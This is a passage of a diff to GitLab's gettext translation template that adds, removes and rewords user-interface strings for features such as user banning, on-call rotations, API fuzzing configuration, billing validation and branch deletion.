+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
